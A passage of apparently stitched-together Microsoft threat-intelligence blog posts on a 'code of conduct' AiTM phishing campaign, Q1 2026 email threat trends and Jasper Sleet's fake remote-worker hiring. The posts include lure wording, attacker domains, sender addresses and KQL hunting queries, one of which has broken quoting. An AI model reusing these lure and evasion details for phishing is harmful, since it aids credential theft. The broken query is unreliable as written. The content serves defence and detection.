Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

During the first quarter of 2026 (January-March), Microsoft Threat Intelligence detected approximately 8.3 billion email-based phishing threats, with monthly volumes declining slightly from 2.9 billion in January to 2.6 billion in March. By the end of the quarter, QR code phishing emerged as the fastest-growing attack vector, more than doubling over the period, while CAPTCHA-gated phishing evolved rapidly across payload types. Overall, 78% of email threats were link-based, while malicious payloads accounted for 19% of attacks in January—boosted by large HTML and ZIP campaigns—before settling at 13% in both February and March. Credential phishing remained the dominant objective behind malicious payloads throughout the quarter. This shift toward link-based delivery, combined with the payload trends, suggests that threat actors increasingly preferred hosted credential phishing infrastructure over locally-rendered payloads as the quarter progressed.

This blog provides a view of email threat activity across the first quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code phishing, CAPTCHA evasion tactics, malicious payloads, and BEC activity, analyze how disruption efforts and infrastructure changes influenced threat actor operations, and provide recommendations and Microsoft Defender detections to help mitigate these threats. By bringing these trends together, this blog can help defenders understand how email-based attacks are evolving and where to focus detection, mitigation, and user protection strategies.

Tycoon2FA disruption impact

Since its emergence in August 2023, Tycoon2FA has rapidly become one of the most widespread PhaaS platforms, leveraging adversary-in-the-middle (AiTM) techniques to attempt to defeat non-phishing-resistant multifactor authentication (MFA) defenses. The group behind the PhaaS platform (tracked by Microsoft Threat Intelligence as Storm-1747) leases malicious infrastructure and sells phishing kits that impersonate various enterprise application sign-in pages and incorporate evasion tactics, such as fake CAPTCHA pages.

The quarter began with Tycoon2FA in a period of reduced activity. January volumes represented a 54% decline from December 2025, marking the second consecutive month of sharp decreases. While post-holiday seasonal effects may have contributed to this decrease in volume, some of the reduction might also have been the result of Microsoft’s Digital Crimes Unit disruption of RedVDS, a service used by many Tycoon2FA customers to distribute malicious email campaigns.

After surging 44% in February, phishing attacks pointing to Tycoon2FA fell 15% in March driven largely by the effects of a coordinated disruption operation. In early March 2026, Microsoft’s Digital Crimes Unit, in coordination with Europol and industry partners, took action to disrupt Tycoon2FA’s infrastructure and operations, significantly impairing the platform’s hosting capabilities. While Tycoon2FA-linked messages continued to circulate after the disruption, almost one-third of March’s total volume was concentrated in a three-day period early in the month; daily volumes for the remainder of March were notably lower than historical averages, and targets’ ability to reach active phishing pages was substantially reduced.

Tycoon2FA’s infrastructure composition evolved multiple times during the first three months of 2026. In January, Tycoon2FA domains started shifting toward newer generic top-level domains (TLDs) such as .DIGITAL, .BUSINESS, .CONTRACTORS, .CEO, and .COMPANY, moving away from previous commonly used TLDs or second-level domains like .SA.COM, .RU, and .ES. This trend became even more well-established in February. Following the March disruption, however, Microsoft Threat Intelligence observed a notable increase in Tycoon2FA domains with .RU registrations, with more than 41% of all Tycoon2FA domains using a .RU TLD since the last week of March.

Additionally, toward the end of March, we saw Tycoon2FA moving away from Cloudflare as a hosting service and now hosts most of its domains across a variety of alternative platforms, suggesting the group is attempting to find replacement services that offer comparable anti-analysis protections.  

QR code phishing attacks

In recent years, QR codes have rapidly emerged as a preferred tool among phishing threat actors seeking to bypass traditional email defenses. By embedding malicious URLs within image-based QR codes in the body of an email or within the contents of an attachment, threat actors attempt to exploit the limitations of text-based scanning engines and redirect victims to phishing sites on unmanaged mobile devices.

The most significant shift in Q1 2026 was the rapid escalation of QR code phishing, with attack volumes increasing from 7.6 million in January to 18.7 million in March, a 146% increase over the quarter. After an initial 35% decline in January (continuing a late-2025 downtrend), volumes reversed course dramatically, growing 59% in February and another 55% in March. By the end of the quarter, QR code phishing had reached its highest monthly volume in at least a year.

PDF attachments were the dominant delivery method throughout the quarter, growing from 65% of QR code attacks in January to 70% in March. While the overall volume of DOC/DOCX payloads containing malicious QR codes steadily increased each month, their share of overall delivery payloads decreased from 31% in January to 24% in March. A notable late-quarter development was the emergence of QR codes embedded directly in email bodies, which surged 336% in March. While still a small share of total volume (5%), this approach eliminates the need for an attachment altogether and highlights a shift in threat actor delivery methods that defenders should continue to monitor.

CAPTCHA tactics

Threat actors use CAPTCHA pages to delay detection and increase user interaction. These pages function as a visual decoy, giving the appearance of a legitimate security check while concealing a transition to malicious content. By forcing users to engage with the CAPTCHA before accessing the payload, threat actors reduce the likelihood of automated scanning tools identifying the threat and increase the chances of successful credential harvesting or malware delivery. Additionally, fake CAPTCHAs are used in ClickFix attacks to trick users into copying and executing malicious commands under the guise of human verification, allowing malware to bypass conventional security controls.

After declining in both January (-45%) and February (-8%), CAPTCHA-gated phishing volumes exploded in March, more than doubling (+125%) to 11.9 million attacks, the highest volume observed over the last year.

The most notable aspect of Q1 CAPTCHA trends was the rapid rotation of delivery methods, as threat actors appeared to actively experiment with which payload formats most effectively evade email defenses:

• HTML attachments started the year as the most common method to deliver CAPTCHA-gated phishing (37% in January), but dropped 34% in February, hitting its lowest monthly volume since August 2025. Although their volume more than doubled in March, hitting an annual monthly high, HTML files were still only the second-most common delivery method to close the quarter.

• SVG files, which had seen consecutive months of decreasing volumes, grew by 49% in February at the same time nearly every other delivery payload type decreased. Because of this, it was the most common delivery method for the month, which had not happened since November 2025. This one-month spike reversed itself in March, however, and the number of SVG files delivering CAPTCHA-gated phish fell by 57%, accounting for just 7% of delivery payloads.
• PDF files saw a meteoric rise in volume during the first quarter of the year. After seeing steady month-over-month declines since July 2025, and hitting an annual monthly low point in January 2026, the number of PDF attachments leading to CAPTCHA-gated phishing sites more than quadrupled in March (+356%). Not only did it retake its spot as the most common delivery method for these attacks since last July, but it eclipsed its annual high by more than 37%.
• DOC/DOCX files, which didn’t make up more than 9% of CAPTCHA-gated phishing payloads over the previous nine months, increased almost five times (+373%) in March to account for 15% of payloads.
• Email-embedded URLs, which had once delivered more than half of CAPTCHA-gated phish at the end of August 2025, hit an eight-month low after falling 85% between December and February. While their volume nearly doubled in March, they remained well below late-2025 levels.

Another notable shift in CAPTCHA-gated phishing attacks was the erosion of Tycoon2FA’s impact on the landscape. At the end of 2025, more than three-quarters of CAPTCHA-gated phishing sites were hosted on Tycoon2FA infrastructure. This share decreased significantly over the course of the first three months of 2026, falling to just 41% in March. This broadening of CAPTCHA-gated phishing sites being used by an increasing number of threat actors and phishing kits, combined with the overall surge in volume, indicates that this technique is becoming a more entrenched component of the phishing playbook rather than a specialty of a small number of tools.

Three-day campaign delivers CAPTCHA-gated phishing content using malicious SVG attachments

Between February 23 and February 25, 2026, a large, sustained campaign sent more than 1.2 million messages to users at more than 53,000 organizations in 23 countries. Messages in the campaign included a number of different themes, including an important 401K update, a credit hold warning, a question about a received payment, a payment request for a past due invoice, and a voice message notification.

Many of the messages contained a fake confidentiality disclaimer to enhance the credibility of the messages and provide a proactive excuse about why a recipient may have mistakenly received an email that may not be applicable to them.

Attached to each message was an SVG file that was named to appropriately match the theme of the email. All the file names included a Base64-encoded version of the recipient’s email address. Example of file names used in the campaign include the following:

• <Recipient Email Domain>_statements_inv_<Base64-encoded Email Address>.svg
• 401K_copy_<Recipient Name>_<Base64-encoded Email Address>_241.svg
• Check_2408_Payment_Copy_<Recipient First Name>_<Base64-encoded Email Address>_241.svg
• INV#_1709612175_<Base64-encoded Email Address>.svg
• Listen_(<Base64-encoded Email Address>).svg
• PLAY_AUDIO_MESSAGE__<Recipient Name>_<Base64-encoded Email Address>_241.svg

If an attached SVG file was opened, the user’s browser would open locally and fetch content from one of the three following hostnames:

• bouleversement.niovapahrm[.]com
• haematogenesis.hvishay[.]com
• ubiquitarianism.drilto[.]com

Initially, the user would be shown a “security check” CAPTCHA. Once the CAPTCHA had been successfully completed, the user would then be shown a fake sign-in page used to compromise their account credentials.

Malicious payloads

Credential phishing tightened its grip on the malicious payload landscape across Q1, growing from 89% of all payload-based attacks in January to 95% in February before settling at 94% in March. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery continued its long-term decline, representing just 5–6% of payloads by the end of the quarter.

The most striking payload trend was the volatility across file types, driven by large campaigns that created dramatic week-to-week swings:

• HTML attachments started Q1 as the leading file type (37% of payloads in January), fell to an annual low in February (-57%), then nearly tripled in March (+175%). This volatility was largely campaign-driven, with concentrated activity in the first half of January and the third week of March.
• Malicious PDFs followed a steady upward trajectory, increasing 38% in February and another 50% in March to reach their highest monthly volume in over a year. By March, PDFs accounted for 29% of payloads, up from 19% in January.
• ZIP/GZIP attachments were similarly volatile by nearly doubling in January (+94%), dropping 38% in February, then surging 79% in March. Threat actors commonly use ZIP files to circumvent Mark of the Web (MOTW) protections.
• SVG files emerged briefly in February as a notable delivery method (with a 50% volume increase) before declining 32% in March, mirroring the pattern seen in CAPTCHA-gated phishing.

Large-scale HTML phishing campaign hosts content on multiple PhaaS infrastructures

On March 17, 2026, Microsoft Threat Intelligence observed a massive phishing campaign that drove a significant surge in malicious HTML attachments during the month. The campaign involved more than 1.5 million confirmed malicious messages sent to over 179,000 organizations across 43 countries, accounting for approximately 7% of all malicious HTML attachments observed in March.

All messages in this campaign were likely sent using the same tool or service, which exhibited several distinct and highly consistent characteristics. Most notably, sender addresses across the campaign featured excessively long, keyword‑stuffed usernames that embedded URLs, tracking identifiers, and service references. These usernames were crafted to resemble legitimate transactional, billing, or document‑related notification senders. Examples of observed sender usernames include:

• eReceipt_Payment_Alert_Noreply-/m939k6d7.r.us-west-2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29-ab5789bd-1426-4800-ae7d-877ea7f61d24-000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-qq8m2tzd
• Center-=AAP1eU7NKykAABXNznVa8w___listenerId=AAP1eU7NKykAABXNznVa8w___aw_0_device.player_name=Chrome___aw_0_ivt.result=unknown___cbs=9901711___aw_0_azn.zposition=%5B%22undefined%22%5D___us_privacy=___aw_0_app.name=Second+Screen___externalClickUrl=otdk-takaki-h
• DocExchange_Noreply-m939k6d7.r.us_west_2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29ab5789bd14264800ae7d877ea7f61d24000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-angie

The emails themselves contained little to no message body content. While subject lines varied, they consistently impersonated routine business and workflow notifications, including payment and remittance alerts (for example, Automated Clearing House (ACH), Electronic Funds Transfer (EFT), wire), invoice or aging statements, and e‑signature or document delivery requests. These subjects relied on urgency, approval language, and transactional framing to prompt recipients to review, sign, or access an attached document.

Each message included an HTML attachment with a file name aligned to the email’s theme. When opened, the HTML file launched locally on the recipient’s device and immediately redirected the user to an initial external staging page. This page performed basic screening and then redirected the user to a secondary landing page hosting the phishing content. On the final landing page, users were presented with a CAPTCHA challenge before being directed to a fraudulent sign‑in page designed to harvest account credentials.

Interestingly, although messages in this campaign shared common tooling, structure, and delivery characteristics, the infrastructure hosting the final phishing payload was linked to multiple different PhaaS providers. Most observed phishing endpoints were associated with Tycoon2FA, while additional activity was linked to Kratos (formerly Sneaky2FA) and EvilTokens infrastructure.

Business email compromise

Microsoft defines business email compromise (BEC) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the threat actor sensitive documents. These attacks fluctuated across Q1, totaling approximately 10.7 million attacks: rising 24% in January, dipping 8% in February, then surging 26% in March.

The composition of BEC attacks remained consistent throughout Q1. Generic outreach messages (like “Are you at your desk?”) accounted for 82–84% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 9–10%. This pattern underscores that BEC operators overwhelmingly favor establishing a conversational rapport before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, two sub-categories showed notable movement. Payroll update requests grew 15% in February, reaching their highest volume in eight months, potentially reflecting tax season-related social engineering. Gift card requests fell 37% in February to their lowest level since July before rebounding sharply in March (+108%), though they still represented less than 3% of overall BEC messages. These fluctuations suggest that BEC operators adjust their specific financial pretexts seasonally while maintaining a consistent overall approach.

Defending against email threats

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, March 2026
• Activity Profile: Email threat landscape, February 2026
• Activity Profile: Email threat landscape, January 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog.

The shift to remote and hybrid work since the pandemic expanded global hiring and accelerated digital onboarding, increasing reliance on online identity verification and remote access. Threat actors such as Jasper Sleet, a North Korea-aligned threat actor, exploit this model by posing as legitimate hires using stolen or fabricated identities and AI-assisted deception to gain trusted access, generate revenue, and in some cases enable data theft, extortion, or follow-on compromise.

In the initial job-discovery phase, these fraudulent applicants posing as remote IT workers systematically survey organization career sites and external hiring portals to identify active technical roles and recruitment workflows. A previously published Microsoft Threat Intelligence blog highlights how these actors use generative AI at scale to analyze job postings and extract role‑specific language, required skills, certifications, and tooling expectations. They then use those insights to construct tailored fake digital personas and submit highly convincing job applications, increasing their likelihood of passing screening and entering legitimate hiring pipelines, and even onboarding once hired into the targeted roles successfully.

Organizations using common and widely adopted human resources (HR) software as a service (SaaS) platforms like Workday often expose their job postings through external career sites for applicants to submit job applications. These job listing sites are often targeted by this threat actor to find open job roles. While this activity might be hard to detect from usual job hunting behavior, knowing the threat actor’s interests and objectives to infiltrate into the target organization might present an opportunity for defenders to look for anomalous patterns in a hiring candidate’s behaviors by leveraging the access to the right telemetry and available threat actor intelligence being published.

While these activities could happen on any HR SaaS platform, this blog focuses on Workday as an example due to its widespread adoption and rich event logs, which are useful for hunting and detection, that are available to customers. The discussion highlights how customers using Microsoft Defender for Cloud Apps can monitor and detect fraudulent remote IT worker activity in pre-recruitment and post-recruitment phases, offering guidance on threat hunting and relevant threat detection strategies to help security and HR teams surface suspicious candidates early and detect risky onboarding activity after hire.

Attack chain overview

In the observed campaigns, the threat actors leverage routine HR workflows like external-facing career sites with open job postings to help with their job search and application process. Once they’re successfully contacted, interviewed, and hired, they complete typical new-hire onboarding formalities like setting up payroll accounts, which are also through the HR SaaS platform like Workday.

Activities in pre-recruitment phase

In the pre-recruitment phase, Microsoft has observed Jasper Sleet accessing Workday Recruiting Web Service endpoints exposed through external career sites from known actor infrastructure and email accounts, indicating a discovery phase of open roles and recruitment workflows.

Workday lets organizations use internal, non-public APIs such as Recruiting Web Service to allow programmatic access to apply for jobs in these organizations. These APIs are used to connect to external career sites involved in talent management and applicant tracking systems and allow applicants to browse and apply for open job roles. To access these APIs, an organization has to allow setting up of OAuth clients and associated OAuth tokens, and expose the APIs so that the organization’s external career sites can use them.

Microsoft has observed API call events coming from known Jasper Sleet infrastructure in Workday telemetry to hrrecruiting/* API endpoints. These events access information about job postings, applications, and related questionnaires, and to submit job applications and questionnaires.

Some common API calls being made by the threat actor’s activity when using the Workday portal include the following:

• hrrecruiting/accounts/*
• hrrecruiting/jobApplicationPackages/*
• hrrecruiting/validateJobApplication/*
• hrrecruiting/resumes/*

It’s important to note here that these API calls could also be made by legitimate job applicants. However, Microsoft has observed the Jasper Sleet threat actor using multiple external accounts suspiciously to access the same set of API calls in a consistent, repeating pattern, as shown in Figure 2, indicating a possible job discovery phase activity on open job roles and following up on job applications submitted. This anomaly sets the threat actor behavior apart from legitimate job applicants.

Defender for Cloud Apps’ Workday connector enables organizations to view and track API activity to their /hrrecruiting endpoints. The connector also lets them identify external accounts and their corresponding infrastructure metadata. Organizations can match this information against any available threat intelligence feeds on Jasper Sleet so they can identify fraudulent applications early in the recruiting process.

Activities in recruiting phase

In the recruiting phase, signals outside of Workday could help with investigation of threat actor behavior. The threat actor communicates with the target organization’s hiring team using emails and meeting conferencing platforms like Microsoft Teams, Zoom, or Cisco Webex for scheduling interviews. Using advanced hunting tables in Microsoft Defender, organizations can track suspicious communications (for example, email and Teams messages with external accounts originating from suspicious IP addresses or email addresses that could possibly be associated with the threat actor) and raise a red flag early in the hiring process. Additionally, organizations that use Zoom or Cisco Webex must leverage Defender for Cloud Apps’ Zoom or Cisco Webex connectors to detect malicious external accounts in the interviewing process.

Organizations can also leverage Defender for Cloud Apps’ DocuSign connector, which enables them to monitor activity related to hiring documentation, like offer letter signing from suspicious external sources.

Activities in post-recruitment phase

When Jasper Sleet is hired for a role in the organization, a legitimate account is created and assigned to them as part of the onboarding process. In organizations that use HR workflows in Workday for onboarding new hires, we’ve observed sign-ins to the newly created Workday profile and setting up of payroll details originating from known Jasper Sleet infrastructure.

The threat actor now has legitimate access to organization data, and they can access internal SaaS applications like Teams, SharePoint, OneDrive, and Exchange Online. Hence, it’s important to investigate any alerts associated with new hire accounts, especially alerts that are related to access to organization data from different locations and anonymous proxies performing search and downloads on Microsoft 365 suite or other third-party SaaS applications. Microsoft has observed a spike in impossible travel alerts for such new hires, indicating suspicious remote IT worker behavior in the initial months of onboarding.

Mitigation and protection guidance

Microsoft recommends leveraging access to telemetry coming from multiple data sources and monitoring behavioral anomalies in hiring candidates as part of background verification in HR recruitment processes. Organizations can also leverage threat intelligence as an aid, when available, to strengthen confidence in these anomalies.

These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender XDR. 

Organizations can follow these recommendations to mitigate threats associated with this threat actor:      

Enable connectors in Microsoft Defender for Cloud Apps to gain visibility and track activity from external user accounts associated with fraudulent candidates. Investigate events of both external users and newly hired internal users originating from malicious infrastructure. For more information, see the following articles in Microsoft Learn:

• How Defender for Cloud Apps helps protect your Workday environment
• How Defender for Cloud Apps helps protect your DocuSign environment
• How Defender for Cloud Apps helps protect your Cisco Webex environment
• Connect Zoom to Microsoft Defender for Cloud Apps (Preview)

Educate users on social engineering. Train employees to recognize suspicious behaviors during hiring process and in new hires. For more information on the threat actor behavior, read this blog: Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Jasper Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following queries to find related activity to any suspicious indicators in their networks:

Access to Workday Recruiting Web Service API by external users

let api_endpoint_regex = 'hrrecruiting/*';
CloudAppEvents
| where Application == 'Workday'
| where IsExternalUser
| where ActionType matches regex api_endpoint_regex
| where IPAddress in () or AccountId in ();
| summarize make_set(ActionType) by AccountId, IPAddress, bin(Timestamp, 1d)

Emails and Teams communications related to interviews

//Email communications

EmailEvents 
| where SenderMailFromAddress == "" or RecipientEmailAddress == ""
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

EmailEvents 
| where SenderIPv4 == "" or SenderIPv6 == ""
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

//Microsoft Teams communications

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where AccountId == "" or AccountDisplayName == ""
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where IPAddress == "" 
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

//Zoom or Cisco Webex communication events after enabling the Microsoft Defender for Cloud apps connectors

CloudAppEvents
| where Application == "Zoom"
| where IsExternalUser
| where IPAddress == "" 
